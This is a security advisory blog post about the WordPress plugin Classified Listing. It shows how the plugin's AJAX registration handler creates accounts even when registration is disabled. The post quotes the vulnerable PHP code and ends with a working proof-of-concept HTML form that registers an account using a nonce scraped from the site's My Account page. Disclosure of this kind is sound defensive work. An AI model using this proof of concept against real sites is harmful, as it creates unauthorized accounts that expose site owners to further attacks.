3 Mar 2023

A WordPress Plugin’s Functionality Might Still Be Accessible Even if the UI Is Not Visible

Last week someone posted on the support forum for the WordPress plugin Classified Listing asking if others using the plugin were having new users registering on their websites despite user registration being disabled:

I’ve noticed over the past few days I’ve been getting emails to alert me of new users registering to my site, when the New User Reg is turned off in Classified Listing, as well as the wordpress general settings. Both are turned OFF, so how can someone register to the site?

Anyone else encountering this?

The developer responded that couldn’t be happening, sort of:

I just tested if Account creation is disable then registration form disable. If form not show then no one can register using this form.

Please make sure new user coming from the site where you disable user creation

The developer seems to have ignored the possibility that user registration would be possible without the registration form being visible. We looked to see how the user registration is handled through the plugin and found the request to handle the user registration runs not through the form, but through an AJAX request. Unless there are proper checks in place with that, then it would be possible to register even with the form disabled.

The plugin handles registering a new user through an AJAX accessible function rtcl_registration_request_handler() in the file /app/Controllers/Ajax/PublicUser.php. That function does checks for a valid nonce to prevent cross-site request forgery (CSRF), but doesn’t have any other restrictions before creating a new WordPress account:

208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
public static function rtcl_registration_request_handler() {
if ( ! Functions::verify_nonce() ) {
	wp_send_json_error( esc_html__( "Session Expired!!", "classified-listing" ) );
}
$username = isset( $_POST['username'] ) ? trim( $_POST['username'] ) : '';
$password = isset( $_POST['password'] ) ? trim( $_POST['password'] ) : '';
$email    = isset( $_POST['email'] ) ? trim( $_POST['email'] ) : '';
$args     = [];
if ( ! empty( $_POST['first_name'] ) ) {
	$args['first_name'] = $_POST['first_name'];
}
if ( ! empty( $_POST['last_name'] ) ) {
	$args['last_name'] = $_POST['last_name'];
}
if ( ! empty( $_POST['phone'] ) ) {
	$args['phone'] = $_POST['phone'];
}
 
try {
	$validation_error = new WP_Error();
	$validation_error = apply_filters( 'rtcl_process_registration_errors', $validation_error, $email, $username, $password, $_POST );
 
	if ( $validation_error->get_error_code() ) {
		throw new Exception( $validation_error->get_error_message() );
	}
 
	$new_user_id = Functions::create_new_user( sanitize_email( $email ), Functions::clean( $username ), $password, $args );

As long as someone could get access to a valid nonce, then they can send a request to create a new account, even though the user registration form is disabled, as can be confirmed with the proof of concept below. We found that the nonce is at least included on the plugin’s My Account page on the frontend of the website.

Part of the security risk from that is that vulnerabilities in WordPress often are only exploitable by someone logged in to WordPress and WordPress websites by default don’t allow untrusted individuals access to accounts.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will create a new WordPress account.

Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of “__rtcl_wpnonce” on the page /my-account/.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rtcl_registration_request" method="POST">
<input type="hidden" name="__rtcl_wpnonce" value="[nonce]" />
<input type="hidden" name="username" value="proofofconcept" />
<input type="hidden" name="password" value="proofofconcept" />
<input type="hidden" name="email" value="proofofconcept@example.com" />
<input type="hidden" name="first_name" value="proofofconcept" />
<input type="hidden" name="last_name" value="proofofconcept" />
<input type="hidden" name="phone" value="proofofconcept" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.